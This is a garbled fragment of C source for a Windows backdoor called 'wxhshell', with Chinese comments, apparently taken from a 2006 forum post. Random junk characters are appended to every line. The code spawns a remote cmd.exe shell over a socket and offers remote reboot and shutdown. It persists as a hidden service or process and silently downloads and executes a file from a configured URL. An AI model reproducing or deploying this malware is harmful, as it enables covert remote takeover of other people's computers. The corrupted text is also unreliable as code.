  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '6zZ`Ll9  
  } i?^L",[  
  else { o?ug`m"  
@. sn  
    switch(cmd[0]) { 6zM:p/  
  :[@rA;L  
  // 帮助 /J^dz vH  
  case '?': { 23CvfP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !W XV1S  
    break; ,OlS>>,  
  } |2'WSAWG  
  // 安装 .7.1JT#@A7  
  case 'i': { J>R $K  
    if(Install()) ^.J_w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SB%D%Zx6'%  
    else POk5+^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =.s0"[%   
    break; pwMA,X/{  
    } cPcH 8Vd  
  // 卸载 /@ em E0  
  case 'r': { lAnOO5@8  
    if(Uninstall()) ~;?mD/0k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v[|-`e*  
    else uWx<J3~q.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YXo?(T..  
    break; +8<$vzB  
    } L)M{S3q,  
  // 显示 wxhshell 所在路径 8}yrsF #  
  case 'p': { 4evN^es'I_  
    char svExeFile[MAX_PATH]; _L=-z*a\  
    strcpy(svExeFile,"\n\r"); >4@w|7lS  
      strcat(svExeFile,ExeFile); g]j&F65D  
        send(wsh,svExeFile,strlen(svExeFile),0); z1b@JCWE  
    break; ~g{1lcqQP  
    } 8$c) ]Bv  
  // 重启 9O &]!ga  
  case 'b': { p7AsNqEp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]ovtH .y  
    if(Boot(REBOOT)) OM.-apzC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b B#QIXY/L  
    else { 0J?443A Y  
    closesocket(wsh); @V>]95RX  
    ExitThread(0); |./:A5_h  
    } PM!JjMeQh  
    break; (J4( Ge  
    } Dlz0*eHD  
  // 关机 nYyKz Rz  
  case 'd': { H6Zo|n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S.[L?uE~F  
    if(Boot(SHUTDOWN)) B _ J2Bf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e 6wevK\  
    else { @ddCVxd  
    closesocket(wsh); @D[+@N  
    ExitThread(0); &@xm< A\S  
    } ) YB'W_  
    break; Q|[^dju  
    } }!xc@  
  // 获取shell MMO/vJC  
  case 's': { WUau KRR.  
    CmdShell(wsh); %>/&&(BE  
    closesocket(wsh); xj D$i'V+  
    ExitThread(0); K:e[#b8 :R  
    break; S*n5d>;  
  } 5(2 C  
  // 退出 Tcv/EST  
  case 'x': { {li Q&AZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AaU!a  
    CloseIt(wsh); |L89yjhWBs  
    break; pFs/ipZX^*  
    } ,2 xD>+=  
  // 离开 C/ VHzV%q  
  case 'q': { gcI<bY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {oAD;m`  
    closesocket(wsh); % dtn*NU  
    WSACleanup(); qOmL\'8  
    exit(1); h:7\S\|8  
    break; ;>/Mal  
        } mS}.?[d"  
  } > {d9z9O  
  } ]2ab~ gr  
!r6Yq,3  
  // 提示信息 ;9#%E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B*)mHSs2  
} H/*slqL  
  } Hi2JG{i  
@/N]_2@8;  
  return; 14l6|a  
}  ngJ{az  
]):>9q$C  
// shell模块句柄 A.yIl`'UP#  
int CmdShell(SOCKET sock) -1hCi !  
{ _J2?B?S/j  
STARTUPINFO si; Z6M qcAJ3j  
ZeroMemory(&si,sizeof(si)); +t-_FbFh3D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %jx<<hW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ci+a jON  
PROCESS_INFORMATION ProcessInfo; >`[+24e  
char cmdline[]="cmd"; 89KFZ[.}]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3A0Qjj=  
  return 0; =oq=``%  
} 00SS<iX  
@K S.H  
// 自身启动模式 [j TU nP  
int StartFromService(void) ?.-+U~  
{ KbciRRf!k  
typedef struct ,c`Wmp^AY  
{ Gh6U<;V?*  
  DWORD ExitStatus; ?Vh#Gr  
  DWORD PebBaseAddress; 0,&] 2YJ  
  DWORD AffinityMask; Jq"3xj   
  DWORD BasePriority; |}8SjZcQW  
  ULONG UniqueProcessId; BbCW3!(  
  ULONG InheritedFromUniqueProcessId;  jrS$!cEo  
}   PROCESS_BASIC_INFORMATION; sUQ Q/F6  
M<= e~';H  
PROCNTQSIP NtQueryInformationProcess; (]?M=?0\  
 6cjCn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *q\>DE=7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3me&isKL  
6~>h;wC  
  HANDLE             hProcess; 2B)1 tP  
  PROCESS_BASIC_INFORMATION pbi; .F%jbnKd_  
<Mj{pN3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eNH9`Aa  
  if(NULL == hInst ) return 0; C]3:&dx9  
\|B\7a'4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U|QP] 6v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q-@&n6PEOZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p Djt\R<f  
y\CxdTs  
  if (!NtQueryInformationProcess) return 0; -s)h ?D  
wSM(!:on5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?I+$KjE+  
  if(!hProcess) return 0; C%ZPWOc_8  
u|\?6fz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \J#&]o)Y  
 JJs*2y  
  CloseHandle(hProcess); egr"og{  
*c%{b3T_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >[nR$8_J-l  
if(hProcess==NULL) return 0; g-ZXj4Ph!  
lu+KfKa  
HMODULE hMod; I\M }Dxpp  
char procName[255]; ]Nssn\X7  
unsigned long cbNeeded; ; bHS^  
}}rp/16  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j0Cj&x%qF}  
zN)).a  
  CloseHandle(hProcess); Ek_<2!%X  
py%~Qz%  
if(strstr(procName,"services")) return 1; // 以服务启动 'R- g:X\{  
f `}/^*D  
  return 0; // 注册表启动 U KTfLh  
} 1D!MXYgm1b  
WjSu4   
// 主模块 ?'H+u[1.  
int StartWxhshell(LPSTR lpCmdLine) cf ^i!X0  
{ W1LR ,:$  
  SOCKET wsl; 5G`fVsb  
BOOL val=TRUE; R>5Xv%R  
  int port=0; 1U^KN~!  
  struct sockaddr_in door; eJ ^I+?h  
Ejf5M\o  
  if(wscfg.ws_autoins) Install(); LylCr{s7  
Xx2t0AIB  
port=atoi(lpCmdLine); !)`*e>]x  
yc`3)  
if(port<=0) port=wscfg.ws_port; (c"!&&S^ =  
q \fyp\z  
  WSADATA data; =[Z3]#h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G;[O~N3n.  
~6O~Fth  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?1O` Rd{tn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BG.sHI{  
  door.sin_family = AF_INET; Z.x]6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3Of!Ykf=  
  door.sin_port = htons(port); 9%"\s2T  
{Xr 9]g`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |QR9#Iv  
closesocket(wsl); ]Wjcr2Wq  
return 1; Ro `Xs.X  
} Nz*,m'-1e  
-II03 S1  
  if(listen(wsl,2) == INVALID_SOCKET) { l[%=S!  
closesocket(wsl); Lp4F1H2t-  
return 1; lOe|]pQ.,  
} L8Z@Dk7Y  
  Wxhshell(wsl); IGly x'\_  
  WSACleanup(); yOAC<<Tzus  
Mc(|+S@w'  
return 0; PRFl%M.H`  
wuk\__f4  
} z!.cc6R  
M"qS#*{  
// 以NT服务方式启动 Y}Dk>IG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?4aW^l6/  
{ }*C  
DWORD   status = 0; ^-|~c`&}B  
  DWORD   specificError = 0xfffffff; ^|hVFM2  
SkCux  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pp7 $Q>6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =w"Kkj>%oh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; / ;[x3}[  
  serviceStatus.dwWin32ExitCode     = 0; c^puz2  
  serviceStatus.dwServiceSpecificExitCode = 0;  &"27U  
  serviceStatus.dwCheckPoint       = 0; _V0%JE'  
  serviceStatus.dwWaitHint       = 0; D:z_FNN  
:V@)A/}uk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PDz:x4A  
  if (hServiceStatusHandle==0) return; UlNV%34"  
m I:^lp  
status = GetLastError(); R7!v=X]i  
  if (status!=NO_ERROR) M`@ASL:u  
{ Xh3b=i|K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z}7}D !  
    serviceStatus.dwCheckPoint       = 0; hn/yX|4c(  
    serviceStatus.dwWaitHint       = 0; &@BAVc z  
    serviceStatus.dwWin32ExitCode     = status; Ai^0{kF6  
    serviceStatus.dwServiceSpecificExitCode = specificError; f5{|_]q]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <r>Sj /w<D  
    return; WiQVZ {  
  } o1*P|.`  
3p?nQ O)L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \DBEs02  
  serviceStatus.dwCheckPoint       = 0; q"DHMZB  
  serviceStatus.dwWaitHint       = 0; dxH\H?NO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x(4"!#  
} V[WL S?-)  
b35 3+7"|  
// 处理NT服务事件,比如:启动、停止 C~"UOFX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2i !\H$u`  
{ +uTl Lu;MT  
switch(fdwControl) cu'(Hj  
{ G)M! , Q  
case SERVICE_CONTROL_STOP: o`7 Z<HF  
  serviceStatus.dwWin32ExitCode = 0; ZH>i2|W<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T\= #y  
  serviceStatus.dwCheckPoint   = 0; Zs-lN*u7.  
  serviceStatus.dwWaitHint     = 0; (\r^ 0>H  
  { rwio>4=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $/@  L  
  } !y>up+cRjl  
  return; 4i }nk T  
case SERVICE_CONTROL_PAUSE: q4G$I?4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XZ3fWcw[  
  break; 6%:~.ZfN  
case SERVICE_CONTROL_CONTINUE: ?$uF(>LD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _Ex<VF u  
  break; #a2Z.a<V  
case SERVICE_CONTROL_INTERROGATE: 3hje  
  break; cR,'aX  
};  2+S+Y%~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v,z~#$T&  
} 9}Z;(,6/.\  
~Z*7:bPN!^  
// 标准应用程序主函数 u2`j\ Vu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C+jXH)|iq  
{ 6K<o0=,jm2  
j72mm!  
// 获取操作系统版本 VlSM/y5  
OsIsNt=GetOsVer(); ^6F, lS_t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z 0zB&}  
)PYh./_2  
  // 从命令行安装 Gm9  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9ZatlI,  
v6[VdWOx5  
  // 下载执行文件 fo`R=|L[  
if(wscfg.ws_downexe) { , /jHhKW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /"m#mh L  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?z6K/'?  
} ],~[^0  
-1NR]#P'  
if(!OsIsNt) { @g+v2(f2v  
// 如果时win9x,隐藏进程并且设置为注册表启动 0=t2|,}  
HideProc(); .J&89I]U  
StartWxhshell(lpCmdLine); Ea'jAIFPpO  
} \/gf_R_GN  
else bb\XZ~)F  
  if(StartFromService()) 3 |LRb/|  
  // 以服务方式启动 *:"60fkoU  
  StartServiceCtrlDispatcher(DispatchTable); n9k  
else Nh/i'q/  
  // 普通方式启动 *qAG0EM|  
  StartWxhshell(lpCmdLine); vWrTB   
?EPHq, E  
return 0; WS(m#WFQr  
}
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只看该作者 1 发表于: 2006-10-10
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